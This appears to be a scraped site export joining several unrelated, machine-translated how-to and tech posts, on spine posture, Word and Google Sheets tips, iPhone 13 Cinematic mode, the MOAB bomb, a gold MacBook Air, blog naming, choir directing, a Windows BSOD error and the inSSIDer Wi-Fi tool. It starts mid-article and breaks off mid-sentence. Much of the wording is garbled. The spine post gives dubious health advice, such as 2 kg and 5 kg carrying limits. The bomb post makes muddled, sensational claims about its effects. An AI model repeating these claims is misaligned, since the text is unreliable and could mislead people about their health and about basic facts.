must have strong pillars, strong pillars, which can be durable over time. The human body is a masterpiece of creation, not only standing on both legs but also flexible and flexible . To do all these wonders, we all have to rely on greatly helps the spine and spine as well as the sole pillar of the body, both the nerve and spinal column connecting and controlling joints through the system of muscles, ligaments, gods business . And create great mobility and movement of people.\nAlthough the spine plays such an important role in the human body, many of us are silently hurting this part because of the unexpected daily actions of its negative effects on the spine. .\n1. Take heavy objects from the top of the head   When we have to take down a heavy object from above, we often have to tiptoe and stretch out as much as we can to get it, but do you know, this action is extremely dangerous and harmful to Our spine. When the weight of a suitcase or heavy object presses on the vertebrae, this action is like throwing a brick at the ball. If this action is repeated regularly, the back will be sore, uncomfortable and the spine may be crooked.\nSo, when taking heavy objects above, it's best to place a chair and stand up, which helps to reduce the pressure from objects on your back, protecting the spine.\n2. Wear a crossover shoulder / backpack   Wearing a heavy backpack or backpack, shifting to the side is a common habit of many young people, which inadvertently negatively affects the human spine.\nTo protect the spine, when traveling far away or carrying heavy items, avoid using cross-type bags or shoulder-mounted backpacks that will make the spine bend. The backpack has 2 wide, soft belts that will be the ideal choice to protect the spine, so wear both straps to wear evenly on the shoulder.\n3. Bend down to tie shoes   The posture of bowing and tying shoes or doing something will have a significant impact on the spine, at which time the spine will be bent causing damage to the intervertebral discs, easily causing disc herniation, causing spinal injury.\nSo, when we tie our shoes, we should not bend but sit on a chair or sit on the ground for comfort. Do not stand down and tie shoes.\n4. Clean the house   In order to help the floor be cleaner, many people choose to use rags and bow to clean the house, but, this is the main cause of back pain, spinal pain because of 'to crawl' cleaning. Make sure, after that move many people find their legs and back numb, move their arms, lift / carry heavy objects . because they have to work too hard with a higher intensity than usual.\nTo help prevent back pain, scoliosis, you should limit cleaning your home by hand, using brooms instead, to avoid putting pressure on your spine because you have to bend too much.\n5. Bag too heavy   When carrying items, you should evenly hold both hands to divide the force evenly on both sides of the spine, no side is pulled down. Do not be afraid to carry the sides but put them all in one bag, causing the weight of the bag to weigh heavily on one side of the body, the heavier the bag will increase the pressure on the spine. Not only that, the knees are not stretched when carrying heavy bags.\nPrevention:\nKeep in mind that when carrying heavy objects, the shopping bag should be lifted to the level of your knee to avoid the risk of bending the spine. Limiting heavy objects to most women is over 2kg and men are over 5kg. Always keep in mind that only bags of mass should be distributed evenly to two hands. 6. Automobile repair at low level   For owners of cars often face this situation. When changing tires many people often choose posture to stoop back to get all the tires to turn, this situation if happening continuously will affect significantly to the spine.\nSo, when fixing tires, you can sit on the same wheels, then change the tires as usual.\n7. Wash dishes   Today, many families often use vertical sinks, with this way of washing, our posture is often slightly bent forward and stands still in one position. This posture may cause the vertebrae in the chest to quickly wear away, causing the shoulders to ache.\nTo avoid back pain, you can get a chair to set your feet on when washing dishes. In this position will help you balance, avoid putting pressure on the spine.\nWith brushing is similar to washing dishes, in order to avoid putting pressure on the spine, when brushing your teeth, rest your hands on the wall or sink to monitor the pressure on your spine.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyaqKSZpMCqv4yonWasmJp6tLzIp5xmrJiaeqOtwqRkmqSnlsa0ecWenKWrXai8s7GMrayrpqNivLbAjK2mZpqVYsGpsYycmK6rlQ%3D%3D\n","link":"/post/the-scoliosis-of-the-spine-the-back-always-feels-sore-turns-out-to-be-the-cause/","section":"post","tags":null,"title":"The scoliosis of the spine, the back always feels sore, turns out to be the cause"},{"body":"Editing text takes a lot of your time, especially if you have to handle a long text document. To save your time and effort, you can use Format Painter to copy the text format without having to edit it again. In the following article, Network Administrator will guide you through the steps of copying text formatting in Word by using Format Painter .\n  To copy the text format with Format Painter , first black out the text with the format you want to copy to other paragraphs.\n  In the Clipboard section of the Home tab, click Format Painter .\n  Now the mouse pointer will appear with a broom icon.\nNext, highlight the text you want to copy the format. When you release the mouse button, the formatting will be copied into the selected text.\n  Explore more:  Invaluable shortcuts in Microsoft Word   Create a quick dot (……………) line in Microsoft Word   Enter the serial number and the automatic initial character MS Word  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdmLyxxcinnmaekajBbq3NnWSenpaesKqxza1kqZmilrSzrc%2BhZJ%2BnoqKutcDIp55moZ5ixLC%2Bww%3D%3D\n","link":"/post/tips-for-copying-fast-and-efficient-paragraph-formatting-in-word/","section":"post","tags":null,"title":"Tips for copying fast and efficient paragraph formatting in Word"},{"body":"The upgraded iPhone 13 product line is quite impressive in terms of camera. All four iPhone models are equipped with sensors with larger pixels, anti-shake capability by shifting the sensor for the main camera.\nAll those upgrades are great, but Cinematic mode is perhaps one of the most notable.\nWhat is Cinematic? Cinematic is a video recording mode available on all four iPhone 13 models. It gives you more professional, cinematic video recording by being able to precisely focus on your subject in each frame. Figure. You can check out Apple's Cinematic introduction video to better understand this mode:\nBasically, Cinematic automatically shifts the subject in focus in the video. Relying on various technologies including face recognition, Cinematic accurately predicts the main subject of the frame. This helps the subjects that are the focus of the frame always be in focus at the right time.\nHow does Cinematic work? iPhone 13 and iPhone 13 mini must use parallax to determine different depths and distances in a scene. Based on these data, the camera system separates nearby objects from distant objects. The system also analyzes the movements between frames.\nMeanwhile, the iPhone 13 Pro and iPhone 13 Pro Max can use LiDAR, a more modern tool. LiDAR emits light waves invisible to the naked eye. By analyzing the time it takes for light to travel to an object and bounce back to the sensor, LiDAR is able to draw a 3D map of the space in front of the camera.\nUsing LiDAR for Cinematic on iPhone 13 Pro and Pro Max produces excellent video quality. However, it may cause the iPhone 13's Cinematic video quality to be different from that of the iPhone 13 Pro. So far, Apple has not mentioned that LiDAR will be involved in Cinematic video recording.\nCinematic's Focus Point Prediction Technology Besides face recognition, Cinematic mode also works on technology that predicts the next focus point. In the demo video below, you can see Cinematic shifting focus from one person's face to another.\nIf one person faces away from the camera direction, the focus point will be shifted to the other person or to another subject in the direction of the other person's face. In another scene, when a person enters the frame the camera will quickly shift focus to their face. It seems that the transition begins before the character's face is fully visible.\nThis suggests that Cinematic's focusing behavior can be affected by the ultra-wide camera even though it's not actually intended for video recording. The ultra-wide camera will play the role of providing data to the main camera so that it prepares to adjust focus before the subject appears in the frame.\nPhase detection autofocus also contributes a lot to the Cinematic mode. All iPhone 13 models have dual phase detection autofocus.\nDepth of field However, it's the depth of field that will make your Cinematic videos look really different. It's like the iPhone's Portrait mode is included in the video.\nApple's competitors have also introduced the ability to blur the video background into their smartphones. However, the results are often patchy and unnatural, no company has really created a product useful enough for users.\nApple's new Cinematic mode provides just that. It even allows you to adjust the amount of background blur by changing the aperture value. Apple also says you can change the focus point after recording a video.\nCinema mode will also provide manual controls for you to focus on yourself. This option allows you to adjust the focus of the video instead of leaving it to automatic software entirely.\nThe limitations of Cinematic mode Cinematic mode's resolution and frame rate are limited to 1080p, 30fps. Meanwhile, if recording in normal HDR Video mode with Dolby Vision, users can adjust the resolution up to 4K at 60fps.\nThe second limitation is that it is likely that Cinematic will only be available on the iPhone 13. There are two reasons for Apple to decide this. Firstly, only the iPhone 13 series with upgraded camera and processor can guarantee Cinematic video quality. Second, this decision will help Apple secure iPhone 13 sales.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTnrumucCtoJxlnaSxpnnWoZitq12ovaavyJqjZpmSpMK1ecKipZ6lkam2pHnMqJueZZ%2Bjeqq8x6ilnmVhaA%3D%3D\n","link":"/post/what-is-cinematic-mode-what-s-special-about-cinematic-mode-on-iphone-13/","section":"post","tags":null,"title":"What is Cinematic mode, what's special about Cinematic mode on iPhone 13?"},{"body":"\"Mother of the Bombs\", GBU-43 (Massive Ordnance Air Blast - MOA - Mother of All Bombs) is the most powerful non-nuclear bomb ever used by the US on the battlefield. \"Mother bomb\" GBU-43 can vaporize people at the heart of explosion, destroying everything within a radius of nearly 1km.\nMOAB has a length of 9.17m, a diameter of 103cm, a weight of 9,797 kg with a GPS-guided warhead, stuffed with 8.5 tons of strong H6 explosives including RDX, TNT and aluminum powder, the use of aluminum powder helps Increase the power of TNT explosive to about 20%.\n  MOAB bombs, exploding in the air, Tritonal detonators, including aluminum powder mixed with their activated TNT, are about 2 meters above the ground, creating a mushroom-shaped cloud of aluminum powder covering a radius of 10 meters around the explosion point.\nIn just a few milliseconds, the aluminum powder cloud will form a giant superheated fireball, which burns and absorbs oxygen in a radius of hundreds of meters around. All the people in this range almost burnt their lungs and died instantly in pain.\nImmediately afterwards, the giant shockwave moving at the speed of sound produced by 8 tons of explosives would cause all living creatures within 900m to be completely evaporated. All life in the 1.6 km radius was destroyed, houses, trees, and light motor vehicles were destroyed.\nThe tremendous power made this type of \"mother bomb\" rated as the world's most powerful non-nuclear bomb. But in 2007, this title belonged to the super-large-scale bomb type AVBPM, also known as \"Father of bombs\" - FOAB with 4 times the explosion of MOAB.\n\"Father Bomb\" has a radius of destruction more than double that of MOAB, the production temperature is also double and the amount of explosion is equivalent to nearly 44 tons of TNT. FOAB is so strong that the consequences it leaves are no different from nuclear weapons.\nStartled with the terrifying damage of the glass warhead Hydrogen bombs, nuclear weapons are 1,000 times more powerful than nuclear bombs ncG1vNJzZmismaXArq3KnmWcp51krq6x0aKamqtdory1tMSrZKieXZe8rq7SZpqapl2aw6K8zquYrZ1dpbKwvMue\n","link":"/post/america-s-mother-of-bombs-can-evaporate-people/","section":"post","tags":null,"title":"America's 'mother of bombs' can evaporate people"},{"body":"The ultra-thin MacBook Air laptop is covered by the Computerchoppers (USA) with a 24 karat layer of gold and a colorful sapphire stone for the apple logo to push the price up to $ 5,000. The real gold layer covers the entire case and the keyboard surface and the keystrokes create luxurious beauty for the MacBook Air. In addition, the sapphire gemstones are attached to the color of the round globe in the image of the apple logo, creating a sparkling highlight in the golden color of the case. Currently, MacBook Air is available in Vietnam and sells for about $ 2,250 (it only costs $ 1,799 on Apple's online store). MacBook Air uses a processor for 1.6 Ghz and a hard drive with a size of 1.8 inches 80GB. The front edge of the machine is 4 mm thick, the back edge is 19 mm thick (notebook models are usually about 30 mm thick). It has a 13.3-inch screen, LED lighting technology application, Intel GMA X3100 graphics, and supports Wi-Fi 802.11n connectivity and Bluetooth wireless connectivity 2.1. This gold-covered MacBook Air is priced at $ 5,000, but Computerchoppers also offers the option of a 14-karat MacBook Air version of $ 3,000. Users can order this computer online at Computerchoppers website here. Some pictures of this version of MacBook Air covered with gold:\n          ncG1vNJzZmismaXArq3KnmWcp51ktLC4w2akmpuSpLysecCiqWabn6jBtHmUaWdp\n","link":"/post/gold-macbook-air-costs-5-000/","section":"post","tags":null,"title":"Gold Macbook Air costs $ 5,000"},{"body":"The manipulation of data before printing is necessary to produce a printed table with a standard layout, with a more intuitive look. This operation if you regularly perform on Word or Excel will find it extremely familiar. However, if done on online tools like Google Sheets, there will be many people who don't know how to do it.\nBy default, Google Sheets aligns all in between before printing. But if the data table has only 1 column, the default center will not be beautiful, because that column will be moved to the left. Therefore, users will need to adjust the data before printing on Google Sheets.\nStep 1: Access the worksheet to adjust before proceeding to print on Google Sheets. On the interface, click the File item in the toolbar.\nClick on the Print option on the drop-down list, or use the keyboard shortcut Ctrl + P.\n  Step 2: Switch to the new interface, you will see the table data content, along with the print panel customization area at the right corner of the interface. Click on the Formatting item .\n  In the drop down list below, at Alignment you click on Horizontal , there will be a menu that appears and continue to click the Left option to align to the left.\n  Step 3: Click the Next button at the top of the interface.\n  Appearance of custom data sheet interface before printing. Users customize the items below according to printing needs. Finally, click the Print button in the top corner.\n  So in case your data table only has 1 column, it is necessary to readjust the table before printing. In other cases, Google Sheets will default to center alignment. You can also adjust the margin if you want to follow the article above.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcnrSvedKpqZ6ZlKi1prHTrGSbnZakv6Z5z6ugp6yZo7Ruu81mnqinl6Gybr%2FHnpytqw%3D%3D\n","link":"/post/how-to-align-spreadsheets-before-printing-on-google-sheets/","section":"post","tags":null,"title":"How to align spreadsheets before printing on Google Sheets"},{"body":" One of the most important components of your blog's success is choosing the perfect name. The best blog names are unique, memorable, and relevant to the blog's content. To find the perfect name, brainstorm some ideas that capture the...\nPart 1of 3:\nBrainstorming Name Ideas  Incorporate your blog's niche. Your blog name should reflect what you'll be writing about, or your vision for the blog. Keep it general while you brainstorm, and consider your blog's most basic niche, then think of popular keywords related to that genre.[1] Some of the most popular blog types include fashion, food, beauty, travel, photography, wedding, design, DIY, and fitness.[2] If your vision for the blog is to promote health and fitness, choose some keywords related to that theme, such as 'fit,' 'inspire,' or 'strong.' If your blog is going to be all about photography, you could incorporate words like 'lens,' 'focus,' or 'frame.'   Make it unique. Think about what sets you and your blog apart. Incorporate a unique detail, such as where you live, your interests, your career, or a personal detail, like your hair or eye color. Using details like these in your can create a strong visual and make your blog more memorable. For example, ThePioneerWoman.com highlights the blogger's unique location and farm lifestyle, while BarefootBlonde.com references the blogger's iconic blonde hair.   Decide who your target audience will be. Knowing your target audience will help you choose a name that will perform well. Your target audience is the group of readers that you'll be writing for—think about their age, gender, income, career, and geographic location when you consider names.[3] For example, if your target audience is made up of well-dressed, city-dwelling, college-educated women in their twenties, your blog name should appeal to an element of that lifestyle. For example, you could choose a name like '5th Street Fashion' or 'Styleminded.\" Essentially, you want to avoid any misconceptions about your blog. Your name should make sense next to the content you post.[4]   Use a name generator to get ideas. Using an automatic generator can take some of the pressure out of the process and get your imagination working.[5] Use a site that lets you enter several keywords related to your blog, such as 'health,' 'fashion,' 'food,' or 'photography.' Even if you don't use these randomly generated names, you can still use them for ideas and inspiration.[6] Some popular blog name generators include http://www.wordoid.com, which helps you create made-up words that are still understandable and unique, and http://www.namestation.com, which lets you plug in keywords and generates a list of possible names.   Look at competitors' blog names. Do some market research and check out blogs that are similar to yours. Consider what their names convey, how they sound, and how long they are.[7] Draw inspiration from these names and apply their successful elements to your blog name.\n  Research related words and synonyms. Think of some of the keywords and topics you'll write about on your blog and type these into the Google Keyword Tool or http://www.thesaurus.com. Try incorporating these synonyms into your potential blog names and see if any sound good. Sometimes a new synonym can be more interesting than an overused keyword.[8] For example, instead of 'home,' you could try 'abode,' 'habitat,' 'dwelling,' or 'hearth.' If you like a certain adjective in another blogger's blog name, synonyms can help you reimagine and repurpose the word to make it your own.   Explore your blog's tone. Think about how would you describe your voice and style of writing. Your blog name should reflect the tone, or the attitude that comes across in your writing, such as funny, nostalgic, warm, serious, or sarcastic.[9] For example, if your writing is humorous and satirical, you'll want your blog name to reflect that tone. Readers will be able to recognize your style more easily if your blog name signals that tone right away.  Part 2of 3:\nRefining the Name  Make sure your blog name is easy to pronounce. Multisyllabic or made-up words can be difficult for a customer to pronounce, even when they're just reading in their head. Choose a name that won't confuse or trip up your readers. Use words that your target audience will recognize or a made-up word that's easy to understand, like 'veganish' or 'healthful.'[10] This will also help with memorability—a name that's easy to pronounce is much easier to remember.   Pick something short and easy to remember. Generally, you should limit your blog name to 1-3 words. Anything longer may be difficult to remember and can lose its catchiness. Long names also create awkwardly long domain names.[11] Make sure your name is, at most, a catchy phrase rather than a full sentence.[12] For example, you might shorten a name like 'A London-Dweller's Travel Diaries and Memories' to 'The London Diaries' or 'London Lady Travels.'   Don't use your own name in your blog name unless you plan on making it personal. If you use your name, you lose some authority as a general niche blog and end up pigeonholing your blog as more of a diary space. However, if you plan on making your blog all about your interests and your life, using your name may work.\n  Choose a name that will suit your blog for a long time. It's important to think about longevity when choosing your blog's name, so choose something that will still suit your content in years to come. However, if you do grow out of the name—for example, if your content changes or you find that readers have trouble remembering it—then choosing a new name and rebranding later on is a possibility.[13] If you plan on making your blog extra-niche, choose a name that reflects that specialty and appeals to a very specific audience. For example, if you're a food blogger that only reviews pizza in New York City, you could use 'The NYC Pizza Review' or 'The NYC Slice.' If you're worried about pigeonholing yourself and you'd like to leave room for content to evolve in the future, make your blog name something more general or abstract.[14]   Consider how the name will look as a domain. When you write your blog name out as it will appear in someone's search bar (yourblogname.com), check for any issues that may arise. Your name may create some ambiguity if it can be read in multiple ways or inappropriately.[15] For example, a humor blog called thereasonicantdance.com could be read as 'The Reason I Can't Dance,' 'There a Son I Can't Dance,' or 'There a Sonic Ant Dance.' Obviously, readers will realize the first option is the most likely, but if it gives them reason to pause, your name might need some work. Sometimes you need fresh eyes to spot a problem—have someone else read your domain name and tell you if they spot any confusing letter combinations.  Part 3of 3:\nConfirming Availability  Check available site domains. If you're using a blogging service, such as Blogger or Wordpress, check your name's availability on their website. If you're building your own blog, check on domain purchasing sites to see if anyone else has a similar or identical name. If the name is taken, it's time to go back to the drawing board.[16] Blogs with a '.com' URL are often much more popular and successful. Make sure to use an available .com domain name, rather than less popular options such as .net or .info.[17] If you use blogging services, consider paying an extra fee to remove the '.blogspot' or '.wordpress' from your domain name. Having a simple '.com' domain looks much more professional and credible.[18]   Check the availability of the name on social media. Once you've chosen a name, run it through various social media sites, such as Twitter, Facebook, and Instagram. If your handle is taken on too many sites, you should probably alter it a bit or choose a different name.[19] You can also run the name through http://www.knowem.com, which will search all major social networks.   Make sure no one has a part of your blog name trademarked already. Be careful not to use trademarked company names in your blog name, such as Google or Nike. This may lead to legal issues, especially if your blog becomes a successful source of income.[20]\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYyypq6qXZe5sLOMp5imnQ%3D%3D\n","link":"/post/how-to-choose-your-blog-name/","section":"post","tags":null,"title":"How to Choose Your Blog Name"},{"body":"The Microsoft Word application on Android has many great features. However, its user interface is somewhat strange compared to what we see on the desktop version.\nTherefore, you may encounter some difficulties in using the most basic features when first switching to a mobile application. For example, the ability to save files as PDF . It is a simple process, but that's when you know where to find it.\nIf you are having trouble with this application, and don't know how to save files in PDF format, you've found the right address. In this article, we will show you how to save a file as a PDF in Microsoft Word for Android, and introduce a few other handy features to make the job easier.\nSave the file as a PDF in the Microsoft Word app for Android As we said above, saving the file as a PDF in Word for Android is an extremely simple process, in case you know where to find it. Normally, users will find this option in the Save as feature, but with Word for Android you won't find it there. Follow the steps given below to save time saving files as PDF.\nStep 1: Click the three-dot menu button at the top right corner of the application and then select the Print option.\n Step 2: If your phone is not connected to any printer, you will immediately see the Save as PDF option in the upper left corner. Conversely, simply press the arrow button to the right of the current printer name, and then select Save as PDF from the drop-down menu.\n Step 3: Next, click the Save button with the circle of PDF in the middle to the right.\n Step 4: On the following screen, name the file, select the folder you want to save it, and click the Save button.\n It's done. The document is now saved as a PDF in the folder of your choice.\nNow, join us to learn a few other helpful tips with the Word for Android app.\nSet mobile view as default By default, when you open a document in Word for Android, it will display in print mode (Print Layout). In this mode, you will have difficulty in viewing and changing the content of documents.\nAlthough you can quickly switch to mobile view (Mobile View) by clicking on the corresponding icon in the top toolbar, Microsoft has a setting that allows you to set the Mobile View option as the default. Here's how:\n Step 1: Open the application's settings by clicking the three-dot button, and selecting the Settings option.\n Step 2: Scroll down to the General section, and turn on the switch at the option Start Word in Mobile View.\n From now on, every time you open a document, it will appear in mobile view. To switch to print mode, press the Mobile View button from the toolbar at the top.\nLook up smart words The Smart lookup feature allows you to quickly look up the meaning of any word in the document via the Internet. Here's how to use it on Android apps.\nStep 1: Press and hold up the word you want to look up to select it.\n Step 2: Choose the Smart lookup option from the expanded menu.\nThis feature returns results from the Bing search engine. The results page will be divided into two sections - Explore and Define. While the Define section shows the meaning of the word you look up, the Explore section shows examples related to the context of the keyword.\n The results section on the web will list search results similar to when you search for keywords on the browser.\nUse text commands One of the most convenient ways to find any setting on Word is to use text commands. All you need to do is enter the keyword, and Word will display the settings related to that keyword. Here's how to use text commands:\nStep 1: Click the up arrow button in the upper right corner of the toolbar located at the bottom of the screen.\n Step 2: Now, select the light bulb icon next to the Undo button.\n Step 3: Type a search query into the dialog box, such as 'make my font blue'.\n As soon as you start typing the query, Word displays the related settings. In this case, it displays all font settings, including font size, font color, font style, and so on.\n By using this feature, you will never have trouble finding settings on the app again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGavn6exbrLIpZxmrJ9irm68w59kqKZdlrulvs6imw%3D%3D\n","link":"/post/how-to-convert-a-word-file-to-a-pdf-on-android/","section":"post","tags":null,"title":"How to convert a Word file to a PDF on Android"},{"body":"As a choir director, your job is to shape the sound of the choir, teach the music, and evaluate and correct any problems within the vocal performance. Here are some steps to help you successfully form and direct a choir. Watch other...\nPart 2of 5:\nAssembling Vocal Talent  Decide whether or not to hold auditions. While holding auditions may lead to a more skilled choir, some choir directors choose to give all those interested an opportunity to participate.\n  Plan the auditions. If you decide to have auditions, be sure to do the following steps. If you do not plan to hold auditions, you can skip ahead to the next part. Secure a time and place for your auditions. For consistency It may be best to hold auditions in the room you in which you will be rehearsing or performing. Advertise your auditions. Think about the types of singers you wish to recruit and plan your advertising accordingly. You may want to start advertising several weeks to a month before the auditions will take place. Decide whether to have singers prepare their own piece of music for the audition or sight-read on the spot. This information should be included in the advertisement.   Hold the auditions. Listening to each vocalist sing and taking thorough notes about their performance will help you in your selection process. Evaluate the vocal ability of each singer by noting the range and quality of each voice. You may want to develop a short questionnaire for singers to disclose experience, describe vocal range, ability to read music, etc. Maintain a neutral facial expression during each singer's tryout and be sure to remain professional and polite. Someone's feelings may be hurt by a frown or other reaction to a poor performance, or you may get up someone's hope by seeming excessively pleased.   Select your choir members. Determine the number of singers you need, as well as the voice mix you desire then select those singers required. If you have very experienced, strong singers, you can form a small group, whereas less skilled singers do better in a large group. Ensure that you have the appropriate balance in vocal parts: soprano, alto, tenor, and bass. You may make other balance considerations as well. Be sure to consider other aspects such as gender, age, and race to maintain diversity.   Notify those chosen of your decision. You will need to notify those who auditioned whether or not they were chosen for the choir by writing a letter or posting a list or phoning. Be sure to write a short note of thanks to those who were not selected.  Part 3of 5:\nDetermining Music Selections  Select music that is appropriate for the occasion. There are many considerations that influence music selection: Is the choir religious or secular? What season is it? If the choir is performing as a part of a larger event, what is the tone of the event? [2]\n  Select music that is appropriate for your choir. Music selections should be based on the skill level of your choir, and should be easy enough that they can be successful but complex enough that they will be challenged.\n  Be sure you have appropriate permissions to advertise and perform your selected music. You may want to find music that is in the public domain if you do not have a budget for royalties. [3]\n  Interpret and study music selections. It is important that you know how you want the music to sound before you begin working with pieces with the choir. [4] Meet with the accompanist to discuss the music and your interpretation of it. Become very familiar with the music, including all of the individual vocal parts, and how you will conduct it before going into rehearsal. Do not try to \"learn it as you go.\"  Part 4of 5:\nHolding Rehearsals  Prepare a detailed rehearsal plan. The plan should include an attendance policy with repercussions for missing practices. Include date, time, and place for each rehearsal. Your accompanist should be at all of your rehearsals. If your chorus is a cappella or if you are using pre-recorded accompanying music, you do not need an accompanist.   Begin holding rehearsals. When introducing new music, be sure to discuss in detail the musical piece you have chosen. Break each piece up into manageable sections. You do not need to work an entire piece in one rehearsal. Be consistent with the format of your rehearsals. Start with a warm-up, then move to the sections that are to be rehearsed. Be clear about your goals for each rehearsal.   Hold sectional or solo rehearsals privately as needed. Working with individuals or small groups can be as important as rehearsing with the entire choir. Work with soloists to perfect each's part to make their performance more polished. During sectional rehearsals, split the choir into individual voice parts and rehearse each part separately. This way, more time may be devoted to ensuring that notes and rhythms are mastered. Reassemble the sections and soloists back together as an ensemble after you are satisfied with their work in sectionals.  Part 5of 5:\nPreparing for a Performance  Decide what type of clothing or uniform your choir will wear on performance night. All of the members of your choir should have coordinated outfits that do not distract from their performance and that look professional. Church choirs may already have choir robes. Be sure to communicate with the church organizers about choir expectations. Other types of choir groups, such as school or community choirs, may not have preexisting uniforms, but may wear white shirts with black pants or skirts.   Teach your choir that details are important. While secondary to singing, skills such as taking a bow together at the end (if applicable) or sitting and standing in unison can make the difference between an amateur and professional looking performance.\n  Advertise your performance. Be sure to include detail such as time, date, and place of performance, featured singers, and hosting organization. Include ticket prices or suggested donation if applicable.\n  Hold a brief warm-up session prior to the performance. Warming up will ensure that your choir is ready to sing, and you can be sure that everyone is present. Try not to introduce any new information before a performance; instead, try to 'fine tune' things that you have already worked on. Give a few last-minute reminders if necessary, but try not to overwhelm your choir with different things to remember.   Begin the performance. Be sure to communicate with the director of the event about how and when to begin the performance, as well as where the choir should sit or stand both before and during the choral performance. While directing, be consistent. Use the cues, hand gestures, and facial expressions that you used during rehearsals.   After a performance, praise your singers privately. Save any constructive criticism for the next rehearsal: tonight, let them shine!\n music performance  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZp7KkwIyaZJygn56%2F\n","link":"/post/how-to-direct-a-choir/","section":"post","tags":null,"title":"How to Direct a Choir"},{"body":"Windows 10 generates a series of error messages and stops code when something goes wrong. When a blue screen of death (BSOD) error occurs, you can use Windows 10's stop code to identify and fix the problem.\nSometimes, the stop code indicates very specific errors. In many other cases, you may have to perform a series of Windows 10 fixes. Stop code \"Memory Management\" of Windows 10 related to the following scenario.\nSimply put, the BSOD Memory Management error means there is a serious memory management error. Stop code BSOD Memory Management is 0x0000001A. There are several common causes of a memory management error:\nDefective RAM Problems with new hardware, such as the graphics card Driver is faulty Software problems, including corrupted operating system and system files Drive error Sometimes your system might recover from a simple reset. If you get BSOD Memory Management error, please reboot the system and see if the error comes back. If not, chances are it's just a one-time error.\nSo how to fix the error? Here are a few things you can try.\n1. Reboot the computer Have you tried turning your computer off and on again? This simple fix can fix all Windows 10 problems, including stop code Memory Management Windows 10.\n2. Update Windows 10 The first thing to do is check if Windows 10 has been completely updated. Outdated system files can cause unexpected errors. Checking for pending updates is a quick and easy way to find out if that's the cause of your problem.\nPress Windows key + I to open the Settings panel. Now go to Update \u0026amp; Security , then check in Windows Update for any pending updates. If an update is available, save any important files, then hit Restart now. The system will reboot during this process.\n3. Run Windows Memory Diagnostic You can use Windows' built-in Windows Memory Diagnostic utility to check if the system RAM is working properly or not. The Memory Diagnostic tool runs after restarting the system. It checks system memory for errors and logs the scan to a text file for analysis.\nType Windows Memory Diagnostic in the Start menu search bar and choose the best match. You have two options: Immediately restart and run the utility, or set the utility to run after the next reboot. When you are trying to fix BSOD Memory Management error, save any important documents and reboot the system immediately. Windows Memory Diagnostic runs immediately after restarting.\nHowever, the log file is not clear after you reboot into Windows 10. Press the Win key + X and select Event Viewer from the source menu. In Event Viewer , select Event Viewer (Local)\u0026gt; Windows Logs\u0026gt; System . Then in the right column, select Find and type MemoryDiagnostic in the box. Click Find Next . The diagnostic results will be displayed at the bottom of the window.\nFrom there, you need to investigate any specific errors that Windows Memory Diagnostic gives.\n4. Run MemTest86   If Windows Memory Diagnostic doesn't show any errors, but you're sure the problem is with system RAM. If that's the case, you can use MemTest86 to perform memory-intensive testing.\nReference: 2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate for more details.\n5. Update the driver Another quick and handy potential fix is ​​to update the system driver. New software or hardware may come with new drivers and your system might not receive notifications. Driver errors are less common, but that doesn't mean they don't happen.\n6. Update GPU driver   A common thread throughout BSOD Memory Management errors is that sometimes, outdated or brand new GPU drivers can cause BSOD problems.\nWhile the focus is on stop code Memory Management, there is also a specific stop code related to the video memory management. Stop the Video Memory Management Internal code is 0x0000010E and may indicate the GPU driver is faulty.\n7. Run CHKDSK CHKDSK is a Windows system tool that verifies the file system and, with certain settings, will fix problems as it runs. Reference: Check and fix hard drive errors with chkdsk command on Windows for more details.\n8. Run SFC   BSOD Memory Management error still occurs? System File Check is another Windows system tool to check for missing and corrupt Windows system files. Sounds like CHKDSK, doesn't it? In fact, SFC checks for specific Windows system files, while CHKDSK scans the entire drive for errors.\n9. Reattach the system hardware Last but not least, let's examine the system hardware physically. Have you migrated your system recently? There is a small chance that the hardware is dislodged in the process. Although the chances of this happening are small, it's worth checking out!\n10. Reset Windows 10   Sometimes nothing other than a reset of Windows 10 can completely fix your problem. Reset Windows 10 will replace the system files with a whole new set of files and theoretically eliminate the nagging problems associated with Memory Management errors while preserving the majority of your important files. .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjv86dZKadnaS%2FunnMmqWan5Wisq%2FAjJ6pq6ei\n","link":"/post/how-to-fix-bsod-memory-management-error/","section":"post","tags":null,"title":"How to fix BSOD Memory Management error"},{"body":"inSSIDer allows you to know the signal strength of them and the channel they are using, as well as lists a lot of useful information about each network. In this article, TipsMake will guide you how to install and use inSSIDer on the computer.\nWith inSSIDer, you'll instantly understand how your Wi-Fi network and nearby Wi-Fi networks are interacting. inSSIDer shows you the necessary details about Wi-Fi hotspots including channel, signal strength, maximum data rate and security . It also shows you the Wi-Fi networks. How nearby Fi is affecting your Wi-Fi.\nAfter scanning and analyzing the Wi-Fi configuration, inSSIDer will show you what's working well, what needs to be improved for faster network speeds, and what needs to be fixed as soon as possible. From there, you make changes to improve your Wi-Fi. Here's how to install and use inSSIDer on a computer.\nI. Instructions to install inSSIDer on the computer Installing inSSIDer on your computer is done simple, similar to how you download and install other software.\nStep 1: You download InSSIDer from the download link provided in the article. Then, click on the exe file to proceed with the installation.\n=\u0026gt; Link download inSSIDer for Windows here\n  Step 2: Log in to InSSIDer with the email and password you registered. If you don't have an account, just click Create an account and complete the account registration steps.\n  After logging into InSSIDer, this is the interface of InSSIDer. Next we will learn how to use inSSIDer on PC.\n  II. How to use inSSIDer on a computer 1. Navigation inSSIDer groups access points, networks, clients and channels according to 3 tabs: Networks, Clients and Channels.\n* Networks tab\n  In the Networks tab, inSSIDer displays information through two parts:\nNetworks Table: Shows a list of all wireless access points, wireless networks, nearby channels, signal strength, devices currently connected to a selected AP, security protocols, modes, Maximum supported data rates. Networks Graph: Shows a graphical representation of neighboring wireless networks, their signal strength, how they share channels and overlap.\n* Clients tab\n  With a compatible Wi-Fi adapter connected, inSSIDer will also show all the devices around you, whether they are linked to the network or not. On the Clients tab, we have information about:\nClient: Displays device or vendor name and / or MAC address. - Network: Display the network where the device was last seen. - Signal: The signal strength of the client device. Channel: The Wi-Fi channel on which the device last operated. - Data Rate: The speed of the client's 